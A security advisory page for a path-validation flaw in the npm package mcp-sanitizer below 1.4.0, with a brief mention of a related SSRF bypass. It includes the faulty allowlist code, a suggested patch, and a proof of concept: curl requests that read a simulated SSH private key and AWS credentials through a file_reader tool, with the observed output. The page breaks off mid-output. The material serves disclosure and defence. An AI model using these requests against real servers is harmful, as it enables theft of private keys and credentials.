GHSA-7w82-6f9j-v9jp
mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
- Risk score
- 55/100
- CVSS
- 7.5 v3.1
- Published
- 28 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even thoug…
- Affected
- mcp-sanitizer (npm) < 1.4.0
- Fix
- Upgrade mcp-sanitizer to 1.4.0 or later.
- Exploitation
- No known exploitation
Story map
At a glance
mcp-sanitizer: Yellow, plan it in. mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicit…
The flaws
- GHSA-7w82-6f9j-v9jp: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths (CVSS 7.5)
- GHSA-4mfg-r38w-w8fg: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6 (CVSS 8.2)
The fix
Fix: Upgrade mcp-sanitizer to 1.4.0 or later.
Who is exposed: mcp-sanitizer (npm) < 1.4.0
Where it stands
- No known exploitation
Connects to
- Same weakness: Path traversal (CWE-22). 399 other warnings in 30 days
Why it is Yellow
- CVSS 7.5 high
- Remotely exploitable without logging in
- On your watchlist: npm
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| mcp-sanitizer | npm | < 1.4.0 | 1.4.0 |
References
- https://github.com/advisories/GHSA-7w82-6f9j-v9jp
- https://github.com/starman69/mcp-sanitizer/security/advisories/GHSA-7w82-6f9j-v9jp
- https://github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09
- https://github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0
- https://github.com/advisories/GHSA-7w82-6f9j-v9jp
Original description
## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths ### Summary `mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request. ### Details The vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist: ```js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) ); if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } } ``` Because `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged. The dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked. The full data flow from a network request to the vulnerable return value is: 1. **`src/middleware/express.js:538-541`** — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`. 2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called. 3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. **`src/utils/validation-utils.js:188-196`** — The `/home/` prefix check passes without error. 5. **`src/utils/validation-utils.js:200-201`** — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value. A consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon. **Suggested patch:** ```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; + const sensitiveHomeFragments = [ + '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', + '/.npmrc', '/.env' + ]; @@ + const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); + if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { + throw new Error('Access to sensitive user configuration path not allowed'); + } @@ - const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; + const allowedAbsolutePaths = ['/tmp/', '/var/tmp/']; ``` ### PoC **Environment requirements:** Docker, Python 3, Node.js 20 **Step 1 — Build and start the reproduction container:** ```bash # From the vuln-002/ directory python3 poc.py ``` The script automatically: 1. Copies the `mcp-sanitizer` source into a Docker build context. 2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container. 3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path. 4. Sends the three test requests described below. **Step 2 — Manual HTTP requests (after the container is running on port 13572):** Control test — must be blocked: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}' # Expected: {"blocked": true} ``` Exploit test 1 — SSH private key exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."} ``` Exploit test 2 — AWS credentials exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."} ``` **Observed results (Phase 2 dynamic reproduction):** ``` [Test 1 — Control] POST /tool {file_path: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/) [Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'} => blocked=false, EXPLOIT_SUCCESS=true sanitized_path: /home/victim/.ssh/id_rsa file_content: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002 -----END RSA PRIVATE K
Last activity 28 Oct 2026. Patch Forecast updates every hour.